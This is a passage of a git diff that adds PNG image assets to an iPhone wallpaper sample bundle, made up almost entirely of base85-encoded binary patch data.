zBLYSQj0hMJ_HM8JrE5dk9tMg)uq7!mlF5a7-B X?mOt;khrA^DgK4$md`n#Q4aklmO5NH literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector2.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector2.png new file mode 100644 index 0000000000000000000000000000000000000000..da85322161a561c3e98d765475340a8a9b962e7f GIT binary patch literal 54278 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Ù%&(L5PyIyD~d7zp;J`F!sI9c)M z+ll>PsqXf{D4|5Oh+oZ?DwGw+la+%eI%VY`NHvvhY-sexR6!;^rh{&C(Y-%S-9`2T zqcTTA%LA;F>!sDOSYdbvB@zupkPNrZ7?72Wt}qi8_%GbW?aq`86X1L5{l(gxd^3RF zVh1Inhkrq6;u4F9O6l#$C9u*5Fg8o=%gwB{vnmQF;aXXc+@9_g&h-ZH0P%{v3$IA0 zRMX!TBHt-i+RR!Dj~IcfRenOQ^WPgkgj^Gf{DNLD{8cYMu%R&8c`dl?WVqwP?+u%^0dsZEI2ZD0-{ zu5?Z;a3qNMd%CgKzq&Ht1j!K09ElJhZme*i4`YxRfE-LOc;C(r8WrsW10T_Ep{|mP z;%G#Py%qR6w4(`il6|}4^4n;*Gm9cD?Bh9rbr|q@R9idRdev2w8x=dHT}@t`V3xsC zUs5e<^mVimE@G#^sy!$O>j`6g_^Igg@rErLV`F{#fG1f z?Iwuv1tES1Y=_Nq2iRs`*B>px@-rSzi$0vK?t59AeFkL??rLBgW=EpJHtWK&5p~w> z#!8+t*yKW7^(4pcfU!@;O9B=Y%#c=ljhzQp-S3DgpWZ*lO8TQ)k)($>0gep5M5pFy zq0B%on#?!vdU56D&xn=6U0m5K*v5NK@hY6=K&c9%bPB_JpTCqSyf)$NR!);zf4Z-O zF)9YXT3ub`D~4i<(M~FHA*+1m_nFzRSI;h#Y&SS(d-n4K+mAo`{QAm&4vgF_U9MZM zBV1j(^7`qX{Hsq6J1uwlUXEGTvV^4az4^>rn+ zGjlP0`(Hioe_qm1GTdF%t3LAgNS-ok*O1LExefj%IT~)kin8UX+f;so-%gLYgJ?|w zVrut9vsTm|R;+-?&Nk}OXE@lIE_5%0h#9qx+wW*N+b%g_38J`gEc|!6XE=5y0&f=8 zj6M=Cdvy>WfysI!LNr-LwKNB`9uI}+2eZu|g`Ixp-l-@k@T*+2rEy-<$T`>(_yMGQ zWvhD9MaHX{2Qq+)hC_wmKyT_HI08oDQ2dwftWMvIqB7E4Y30yw)b*7IIT)K_qlR-v zTNr>EMlBskB!J?s%U zw+_OcnSaK$M4HIzaXwCES?i?{IXzLwsd{4mG74ixwfK*uVyABfqwDw!ci$grJIhSKwS7rJG*tc!l$D zMCNdyS}iG?G==&w|2MPT(2y7@9-1lnmK+tMu1`{Ov7G?re7kdeVc%#3k>0A1;!kx) zkHDQC@x`U%s74K6P+68w2Nc{W>^5UJNxK-;@o0?T>eHwiH-~rOp{&)6$VQKWM@}~8 z8rA>490C=L9N-^^G~I#~2eE@k(>WFa0NpNTM^W6UO?8N$BLxa{yY(}XJl0edjZ~D5 zE<$s`dNtwGnK{EEj>pT)(}PhQ*) zK?C)uMUwKCTEz6h3ifTFD_%|^%9-SB>f^l;s$+RcL(7SFvz+akV~bcx5|P`Dn|SI{oIAPsS* z;ykJNT|${Othan*E9{6}|Hg&Wct_(tIBr!GE?n0za=|&4M|nXT4VxyiMO-yVSEx&S zsFKug*!2!%7hd2xRGu69jj$ItdC$zy;kiT>qkMwB0M2SbLPxkt$nLv5`5>Scw|UQj zN#1;6K^#3SfxHZavuN91(WD}G5WPS^I!BB4;O1MP18Dm#AjM+wY!#k~QK~`d{t7Tg zK5`ia?(Fv}RE;k8-8d+WZh5d9g37w*q6Pf`Qjjiik9ZxWVqgp$xS~_HkIeDJFW@s1 z3yI#qNul-KI%-NKjQ&mX&KhBDCY)v1HP8?=y=^Bj_=PlMW%`t2^Qd069~P>OL~O@S zgdx$5$QtCY)DxZhaD_rlH=(d}CUx|x9{1PE&Cyy`t2U?mw2 zdL`RPi&Vl+A|Akdx^t*#C}%qM-gS{0y_MxFJ+YdH5cTJzEC5e6UGYlr&^Bgu|G45EfjldQcpt8+5{$^iK6p{W8 zm-2#-z2p)AO(7BrKdb|1|HMk6k@6or1u6_c8$sb1HPV@$f{F1JElA^w5k;LUGJ6Ne zB$G3Ot&F-_zlbW zR?D5Z-@qz#&x7FMteggpx$)q^bUS(@=BS_?pr$UM2^F(BNy$+8;-W=N+f$KkEaQT3 zb`r`&6gQ{buJ*9j4);z)pd8#|K`hS$L*${IO2F*8on>R;oDr(iLs|O96bw3p^sSbZ zm51%RKm|NSJ*iO%->NWcU-)tWn^n%|_O~VDwqZk2ONc>Ku2IC-~%{$$WP(g49;B8s+6y z{_vB%7v}46HY)xyiKy*Y7OLse8G+5vrLLy*)D-UnU~0cQ1(VciE(^|Xm;`s?Vnzp3 zEs-S-(lgUhPCzvw4d_OV8nU^OszFSQ#Z;OV8ygNH~Q`3E}R?Nu#M0U5|PWPdl%s+Vo2;!eIs|YQQZ^pIR%qwRv zG)1Kou9c$M57fG<&>@Rz@-oxSEfCMJ1|DsOV}YOEBNd_PGGzKVLp`ap5|5N3Y1j#* zmNk`=LL{NV77~io)sngt76A!ZIQ_?7O~eMCN7YGLUqYfv=&mC*S)GRlB=ckzx@GW*mHhP23%a3{gRe$I}dzAE@A)2N43IkaMq%zm;TQx;FuW za*(sg%hVI&OKoy+k~@E=Ac{_;SE88(Uu`a|_t7jDk0M-UCC8DVvaK29PBbZoxJO*r zb^?t{jrsXz^4c5oLB2~oh?n#TdObEoTW3iqGoczc>#LG@`jOtD*E+H|BvKnQW}SHJ zh6fS;jM*(h(U{NMBv}mNpK|5&efEnf+pZ|?Z$Lrd!<5ic5QbVZshxcdWebs-ge$I+ zj^RP1RWdmgTlrU50DTH|A^xc$l4g5YvH6X~;}+o~M{s}!@<2i9bJQSYC18+a3uCyD zk*sv1`CW-tl6mA2Hij)1)G3_vXD(7Jj(l)9RbS&UPy6_QXmQoliHz4|J49d)ae%>Jajk+ZAa) z2$+?Q7HG_cj81z{HU7!M&uy62!>5tkEaNOYQW6?Sm}`$&OLE1HkKAK%A4wAhvuOao z^97~gSQPjXbNK1rzbZX(8P+#egWjc)eR|aC-dNxRKUex|G>qW+4O5$HFBufKH%x*~ zD=ZAPzE73hkDKW2VfRT zI#9P4>LV*=zJk{&R$7r2J5P|<_Ccu zxCeHCB7pKpJ0~3vMXh|0o)?upbLGcL24(v0x!QRr^lT!n_PLe}I-S1Ok{2MTn!weV zAZhol)s>`5c))A@Ue{yJvN!LQ3ml9>3rcIP0wzh4E-^{aM@git0Dzr*0-E4MA-QJx zBXgO1u?ZkygB@w1IVx*94fzFr430P_$+>F9YWE+|- z-oL=Y5!{@99w|~E(FdEMEHsG`5yqtAD+~FG>&fMuh4!cnJZIrPXz^?SWBgIg=Q94jQTWty!Um6Cb}>!!bCptZ0@hxQF73QskW5)w%nVARbj; zjth!St84jXKqpj*2d2)Zj_X*aRT0o6CpMI8>j-1U=f4tm}Wz_~HWxWaS(V!!~t%1&e@oCa2@&C55( z1_%e{_&O7hmlQ^cJw2>9<7K@p5HSt?yO9g2RWJTRe#2K8Sz_gg#-W5t*-nUmv$Im4 zQWhuoV^RJsD@mpL$d-P`6f8n;R|5}Gs}}3viNRpR42c#{mUQVzCzgKj^Expo;WQ4~%K=tmt>?c+O9c<8e1ndwgo?41<6UUy9ROx2J%k=sI~p2S zYd5wW^8l{nd-Wku;))IO`Y5_VPOVI9uNyG|z4cyJk~(+H?O@V?f4YQVV%eX zYl>w@OhO|vWOS$6IpI%+mE>7!)_^R5A+xBYjHe(O45W+DA(+S;*8aX)uI;^pXrZu!5>B57<>6(o?#n?ZTFE#M8lAdyD~O$b*enN&e-M;=pN>wfwUf%U zIY>3mJA($Q%LFW?6xF=_Q@m^9tlT|B;t6dKgt~Ujv)f{^A-08t(2vx96CNj6kYkT> zf}ETA^qup)Gswp2qhQ0yUujmT-@1<>2M&KeIM*F8*52(N2#~UwuLD13E$hc!LqwSL zf-L~rU+x%me85Zjb_<}lcW#B~8=LJ5~m_ngW$#y1(S zX5Jv(Y9mTCo-$|+2Qsvk7wUi88827EuErId+v+1L6ORO=M-%`H8pI5E_xJHeCuG(3 zpgo{0WT?uEbg(l)3%F46h6JJhAv3(aoIeBF3cPzWdVWW`FjO~Rj_2@-))2FaN%$di z|{*bnu#+F4MzHLWwTl4Oq_{$2WYJH&96t%kbu$i08A{M;(wwNvAG7h=ntvw+d-SVYEKz0w{3@kcv!>tTY@%!;)K({>5AWQ7r7C)NImLGpHSC@E! z@T0Xb!mh;_vu6h6yMAkE3AZ+2MtcPgWusX$GZr~mxdQ4*Dh(Cnc{69e5#TSF1d(GM zKm#+%hghP@Ozu0#@*MV*PeHM4I*yEDGR&Q7Vf) z^4bt2+BRjOcA^vSEf;+kIsr;^nsYPk9cUo|>N)bvHU6r1v1xW`gWQS9QwarxYXxzV zG+2ht;-9G98^-7H(d*@5_2Rre%FSy1o9MYcQ7mfK^*tV9L zf&2|$)UoXDcV4+4(?riLQ+`Y=;HqwRRwn9TqWm!z*7FgPoUBAKAsML_aTPuDbM{!b z2}r%XCvz*BcSD&(H(Xg<|DwDKw33j7jDzMJaF1l(-s_XuCV7Vf-^c7Kp(wO}{%Qc| za0S;Rlh1=Qk>jJO@@#-&^9-C$gf>=`OZ!r17~l@0(^=d?!J1RrK^xJ;74Wona5q8+ zrw>h>EG(9b_9Q;t@QJpOu`C1<%hCE!M_yuipGqcpqV=*ex1w|RzcUv-gzIdadj=F| z<8w-%U}6wYEw1Ll@IZTfAHE7S{@pHxF9PJK|M#G zWlNoF4@EoE@eXT#`@ZXhYyh2Ga+Nn<_Xt>%rfB#Vw%tTFvV>zp@Hu%9;=1jC+tp9J z(#e(`sEhJ%GbALI>DY)vCEC~mG3n2@bAolMUn#lFOJyOX`5ZW-0Gq}$c~rDs4Q}a6 zQM2r?mhW;z4H4Hse`)M!VjkLVk6!N=A?-RR`d7ir@U>32*AZ)gCLuLuSwk-LA%ba7+IQ!Ll7L6yj8u}Z{T+Z)L`{#HjP zaWl{`_ypE0gS(A~OYPWHv@QP6tsfVlEBm7OJ3vn%(&>Ok zIW>m-k-(OI2gKBbk7Ews`Y7SH{&n+c`H}1F_fudS*%7$lKVJ+;hWP+iW2J#W{mHB*O}V-xgrgUVvp26vjFoH$jJz^1*! zL))Vh+o(aapBS@&i}1C%M)D?A$_e3qNgoIS_t+dP=rfZ??}|4mUQ-HkW#rrXcQ{q% zwxLIr5ahZ>3Dk8r`q*)mFUWc?MJwOF25sWw@C3&Uiz1?JqZh=7W`uGvTlY@pBvgi4 z#k)&#umBPARS;^84qy%Z*k4^V52u5j7T5!!2U}p1VT!UafP}@^Htsvm$QaGkmQZ^uVLmf+GJ6bnq=)Q|6H~DepBB5yHF0 zW^d0Rj_7Nc;103`b7TCMG*f- z%s9KU7LCKHbL6A|m#uK_48btK-CY#CrXkTI@25PBXeokXCwfq?^7NeS7#H-DNjYLD zzEQ4~x~bJLLyd8dmp_SZ%pgvyA=|+D)N4J5Sb54s`SU#T0G{o>O2QohWCo z3keV9dz#3~Jh)b!QR7Qeks&1TK4u)GiK8%%ap?g`Bj9@)QC2E~nlI1nIW=G*Fa3fu z@oy#1#B-zB99iu{q$W5rXYF-=K3DFtgGY;UE8ybw^Y@T(nYLKM!ywE*nm?on^TPXR zwWyY)mtR=71_WWyhW{b!_{^s`+DpK$h}yA&#?$H^KaZM~vc32~@Am8^Hn9aQZ!K6{ z!rEv6$01-j)x)tK?c-k^Km{?5qI-Q=*)P|qZpC?I6;Qd^$ZcHZ*GgjO z-_=s)Pbx^vb&U%<4K1eUYGK=U$cUe9cbb;2Rl@eeU zI~h89l1hl6H+&rKXK%&$0dnlj*5@xw%jKx(Zgl7l>gb!drk}(>E@I?4EOcz>pvfz$ z%+=9{=#jn3Q}SXFB$_Jm1XhV!2*Ir)I#rY#6XP`oI%r;|TCmahPQ0>y&&uhAeX3*`u1z;mU9zw$`9IO z%&llE&Yt_84$B1H1}Y8(sa5lfb}{;0=$MTj3mh5(?{Wb#iXEs;8%DdG^W-gf?}SpcYt1w)}J9!LlHxAKK1#+TjXo``{2z< z?-z_fiZlLX_?T1yy>{>bDk|oqb@wp%=8AA}vBbm8caPgN>^YS6!L0kAMmMLsZLK~OC zVsExzlls+qSCzn$e%Z#D`(p~b0c^(R5^CqZ26ud8(Ner8Dp0Unu1>i1nzWl``V<^r z$c7-^SZFW)rda+O6BDK^AT}&vlRaCAo+|@n<#8N+@3?M>D`=CS!-yP69CNgPBuvsP zlhSddMLlhmo%~dGSFH}aSAFV+ysHR=vsJN0v+G*UAiyMYe~lE*?5R-YUy~-s>4Qn2 z;tzmD$WgF-p`G40`f4Fl-M8IM4OlL~Ob)&w%@%)HZ3k47!qd;Ue7i-h2`by zccb&P_U`iyS&c4JR25Q**ym-Qba&1$zk`keUdnKFYeI}GhWE;cV8%qyixT5nA~#@aD20W`4RB{?rnU?98?Ph3^6C4uOVc zZH{I%KQxiyKR08;)u$~u&0-l&2G4nMRy&)Gl$FHXeY6GKL1}u|NmSXExu+Q0FHmT6 z$;j5c%*vxX0~di0aD-7>RC@zo+w62m@wuVWX4?0&t*0nkDk*c&Fl((_1P zw7ln=D27B>JK+RRtqH>P1ng}2>hxpKcC*34%`CUgxx7r;6wr@p6{0i`hiA>aeUesj zXKTv7@w2mKEtT_<@;5d#!oMw0xJ5iZXelNsh5X{pM1eJUTY%^}oB83!qg)0z z1$S4(zlH{&-}yi(V4-v4EO^L9Ma}$3UW)9+kd+sQpumDw-lwTR%>d5b?vD}AY84gP zJNM!X67*`n;_9%2Thm+qbEMA~+ze5|FV3OYv$5-y(HK}Vb$W>h`~FD+{LoY|lWiB3%oBMeTqLrPwzLwPjj zoWMI>V}}Isv%T8gy$kbqnrsK&HrZL6M!gPFYA|DK+K^}-?wy`N*ze7RoYwf0^hv_= z)gI(a(XTGXN(^jGhwjvDOLM)|!rL4NkT9_B7XalCd7D1yIrMG@sodF^P14&STV~KE zl1DtW{Siidl}I9cWVEql!g8lj*>eNl&gy#{yc$Cw6coq4@6`@e=_I_CD3kONfq6I3yXA z4GA9Mdw>fYp7*nX_l0vzS=P8`#QOpReAGhHbI!D5Cq&8w1`iAxtk?;C7i~iy8=v)p zjg=Ly6n_*v@TJ`QcCZDDb5EgDyfK3Z()tZJBXVqjpl!B^W3cgD-@$aHOe z+d<=16w;>go;7w2WF6LN*xUPijU&lTaL*#JfV?wvrlWuOLH8W{#O%n& zkjV3&wLq!Lk%gtx$OXiE1r`{X8%?CIubGaNO~i-|G7CuEQ$0!+#l{t5tc(~WS7z83 zD1q?bzC!fa_lS0R2{&RIl{SNcTI2#5xpIZ9qz~6|ioKxmPJezKV>Q-At{LG7x@Lra&ZszRE?IUj%syU#E zs3~Lxz)HG0d%a%cb|Og4Fc49|@|_xEi0fTLs$QdkgK2ilJ^uO|;~FZjB2=bieu_`x zie~q&xW1JrC-?Bj?h{pZ%mW{lMasbwPAdG#&^Q@8X&AY;AjfOY$wN;pt#Ac*Zi9!6 z-I7>BlIh=C~K{3on_0=U1BToXyUS`MZ@y(b&PVc6;p;(10dds9t2uhQjg^Oj6^qV3QB*B=n9hL=TQ75uOK4&z%xB!nqH$GdsrVQ8m7&C;JGI4PIE8E%LFmc6d~AX zGa!do!+CI)UZY*^JiK^eBYJ^)cvpjk;ZTjxs^bL=d(8nKa*E4^6 zMMb9~b*Q~aFLV5_>_JI){OJmJI&%U0UA$8<(Htdhi`}yP%jg`)4jhw(okP^*WW9>0 zGrc>2AWRz{G{MtY&fw191Wi_jQYlg@a}U0WE7>f@qjDMzqTBSMf3VV|KPAmhyL64G zc8#7g9;CHby{&~)SZ7fD?LC{>gcLP4sLQ(L(re7SnT8X3XiN{<;_{smB-%W#4qK)6 z_Y+m*;S&)4N>5;Gp8|Qb-@9-zhlkh| z{xTNEzAd}-c#p{0VLdTWM*8TN(5pU%GmAf8--D%$=r>HK5*I+T9e?E*Y~<2rNJWNg`SWbTQH8)s*CZfVhFmDUS!ypCMV=yTL@!Bp z)`AXHcYhV!pH8hREi9do?L)wq%Eo|ZnTc&WumqlRZ~=A5cA1K>sq5~i-Xy8$vfW@~ z*3!uh{$5E=M(zd#E9QnoWwW+G$SHY(i#~qgywI^deI+?7_sm8a#RE-0r^Ex5*Zoru z4Z#Dw zC^~G0!~0k%a$)f+5@ma7^l=flBd@J%k4X9xy>8J6=TXD)mvy)fv9(+>4s{aC17&$O z_Q>xVZt?6ls$4zCDUGEwc6Xxaq-o%vR|1j5=yYM$}^kMLg%ftVLd66r2Y(7>O_ zX~haPej2#80-~HK`QIt!#iEd^fMrC-8P;?+$@PFhL0(L|EE7XzWNv)+D(8Y9{0jI*@_MOcVUzA9|W5nPcSpP=I#Ot|EIN4D4{izDba6ymUR zXU85<>D47#i48>kC+KK9#|^X}tpdAF-d41XjeRI8{{vL)f>3Z8uT}iw8*okm5)39x zc@M->9BLpi19u6l#2!T_JOm5iF?b{V6(|&`yyp$Q9M0c>RPqV({1phYpn*c=d2i~? zbbh8oaNZftyx&qh2j!Z#MyzhmM~*9WkMgP~hL!yP!YV|76_qth1s4*Hf&TJymaq!x zwmC>;-?0lxLiTO;XQ};+GidQ&_PKEG8mH2~^uqybxcpQz{w-8jR|z1e!|s*`Q}n_v zQ(Byg#BNTf>K0d z06L$?Myzmy-MLH8g`Et@RLE93vy@N)O6Qvwr2;jRg{;;4Y{XO5Z=o%W)ESi zK$b%8*%7y=dqiz+W_}7b1Oav*7uF$<`#;gdGo)3qtO-6!6nl66Z#B`SP#%gdA(rqYE=_JSEP?=23@$a> zbScsdRCWXYL-DXO7E_qj4Rr9H)Tf}6%Md>J9tevOZInJM{7>UMEl8v#twJ>)BUw85 zvm^1BfqMvJ9xZjG=|bQh<=J>~0L8>EJzg-7>^(r0SkvtRhuvO+31w|G+A*uUCXr@j z5P5fVbMwjfB+Eh0fz&kvE`Kj{F+kR-3V(P)R@z7B^XXRs39**xQnOX$mkL15)t~+n z7nWIodB^QAH+qodKJpT2L$1CTTwNt4025R{wWIPH8K^`gCGb&RayMH#cA>)vNVNbY z_PqxQ0SbxS_njjUWM7#^OCPq)qk>Qf_TrH;u-0XiIYN-^{}BLElPdxg9v1|fATNCe zkJ(sqSHG7*ABMN5i%F)OSb3EfUH^r&dssOCPn|TVElqKz@~HlxyiC+I!R7AhaY4y5 zXhVx*I~z1ekXnfA-;b^AMwC1)n?At`n&@myv$u7aTMCxCC3uHA5zq)j(xX5+ntkN~ z10IxQzE7TIH(}04S^uq8+Kd#UiDaUYP1!D-dye;Ma zHIXQaqohDUmZ*r90&We`Z13D#UCk|Z^2^No{66oGXa8YBcU9e6-+RvYoO|xM=N2kg zEAHQaU?p(UKVjODn(P;-iE<65&IX~HlxeY={J={dU=|<0w&qdDva%wfp1>l_%Rkka zLuUxwb7%j=Yz11MMu%H8xcfZUGYErvJLft@^ahPjuCj>e?p+5dkC`w=ixe4_mqE}U z#~S>A=vsYzC|Ip}QghnMmuO%074MR`S*-u%7_62{y7cU2b{li1>VmC+svD_kXbyMO zDUfGd5ZluE2a%p6sz{VIk}mM&Ku_Kgj8MbOa&K{0_{2cVJLGMujx@e`GLvMt9iG%A zGI2!qJDXwkn1;>BqlvlNq>afa)&60_X=2<~%smWpr&a{&EYsb*dfc;) zk>FQjhqH+EX44#DzUCb9Bou(9_6@UVKj#pJ{?5VM^eW0tGS$vCNiJ}x>D(}I7*Df5 z3S{shl0hfI>=T3nj5P>_IUtOr9@O>{7K%`TP$ZTio_Jfpp4q_9a@bfD!4GiW1T?!A z&3QLgJddt)+^VgmipG*o&lI`}Dehr?7paePX(X@Bq^XZ>Msu{|}s+RiNF zwNbq_1bH%s_o7rfol>k=u2^Use7a0jk`t~PY`F! zEIul-)M4K)fnOb%kq??Rp`UJ+R zkS##!=#?fI>-1Vg(OOa+A!?8?Xqyn%y&>MOCBDD+cFjLVu8o}d+x*5k>g!p&J*cwk4nY;4h}yu@YB7G{~godJWPK9MY~q+l;h%l(NbeTcVTd_9%5^~sexO9#67 z0fNhmOX)zhE_ZMZF_h~DWqV($Eg|q<+~z8&^m)O{HLKb(QmLI%aF;~xQ^rc>(bMP= z%oN6vuuzMym$L14vb-^p@svZ{|k`NpMUXo6QLzX?tjg$uM*w1Vu~#)SaTu- zso?82xv^rI)QWPWBDquwG_%u5#v<~qAJm0^=+#B4 z$c|m&$0cIE50;2((OB6$3Q5F%_BLS---z~CcvQWtS;#!kLkIBOxL<;s3nH7#m#B&X z_$7ktOsp7yx21+X5p?&|@Lc)83Bo#M&(|um0@cRN?C=N$oy9;*xOsD21^^*zqLrw53aGG03 z^+Z+OgqZWYisL2|G2QzrRn}AkxGzgt0|wm&36QAKtvOlua1!vf@! zcRp9EHDyOAm;zuI+z}B;7b3pb!5+)FTP{&mL)k79)MF4v*vRJx%QD= 